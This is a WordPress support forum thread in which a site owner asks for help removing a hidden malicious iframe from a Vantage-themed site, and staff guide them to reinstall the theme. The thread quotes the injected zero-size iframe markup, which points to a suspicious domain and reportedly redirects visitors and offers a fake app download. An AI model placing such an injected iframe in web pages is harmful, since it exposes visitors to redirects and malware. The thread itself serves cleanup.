Google malware warning – hidden iframe found in source

By MJ, 9 years ago. Last reply by Andrew Misplon, 9 years ago.

Hi, I have a website that received a google warning from an outside link page.

http://imsone.com/images/image001.png

I ran a Sucuri scan from their site https://sitecheck.sucuri.net/results/ and it found malicious code. I looked at the source code for the homepage and found the iframe.

iframe source is this –“http://xzczxzcfsqeywrssd.ml/search?q=cFRdRHE&RYviF7T=341601a7c&Qts5FiS=aDFcAAx5ICVRcGlANGU&FwWP0zh=bEeBRxMH1oC&OTb9mN=38e45028c9&MF4K6=d4WFRVQS1QI” width=”0″ height=”0″ frameborder=”0″ marginwidth=”0″ marginheight=”0″ scrolling=”no”–

The site is walter4dublin.com.

Can I delete this from one of my php files or do you recommend a plugin like Sucuri at a cost?

Thanks again.

    Hi Mj

    It could be in footer.php, start by checking that via Appearance > Editor.

    It could also be injected via the footer action hook, that’ll be harder to find. Let me know how the first check goes.

    I did find a string of code at the bottom of the Vantage Premium footer in Editor in the following order:
    http://imsone.com/images/1.png
    http://imsone.com/images/2.png
    http://imsone.com/images/3.png
    http://imsone.com/images/4.png

    It’s not the code that appears in the actual source but it is several rows down (a lot blank space from the ….?php wp_footer(); ?….

    I am using a child theme though.

    Hi, I Work Here

    wp_footer is an action hook. I’m not a security expert at all but any function inserted in a plugin or theme file could use that hook to insert a script. It might be worth running through something like:

    https://codex.wordpress.org/FAQ_My_site_was_hacked

    Alternatively, a quick check might be to:

    1. Switch back to the parent theme.
    2. De-activate all plugins not by SiteOrigin.
    3. Check the source, see if the problem is still present.

    Ok, I tried these. Unfortunately, the code is still there. The iframe changes periodically. Viewers are getting redirected to various sites. Chrome gives a warning – lvmktegretshjsdh.tk might attempt to install dangerous programs on your computer. From an android phone – you get asked to download the new google_store.apk.

    The code doesn’t seem to be in the open. I looked through the footers on both parent theme and child theme in the editor. Other suggestions?

    Thanks!

    Update: iframe code appears on multiple pages, not just the homepage, in the source code. It’s at the very bottom hidden from the primary code.

    Hi, I Work Here

    If you haven’t done so already, try:

    1. Switching themes to a default WordPress theme. Does the issue persist?
    2. Temporarily de-activate all plugins at once. Does the issue persist.

    The above test might help pinpoint if the issue lies in the theme or a plugin.

    I installed and activated theme twentyfifteen and the malicious iframe code DOES NOT show up. I did not deactivate any plugins prior to or after testing twentyfifteen.

    Hi, I Work Here

    Super. Let’s re-install Vantage.

    You can find the premium ZIP here:

    and manual update instructions here:

    Awesome! It worked.

    Seriously appreciate your help. I’m yet to have a problem you guys can’t solve!

    I uploaded the zip of the Premium theme. Activated it and checked for the malicious code and it was gone. Then I activated my child theme, again checking the source code, and it’s clean.

    Thanks again!
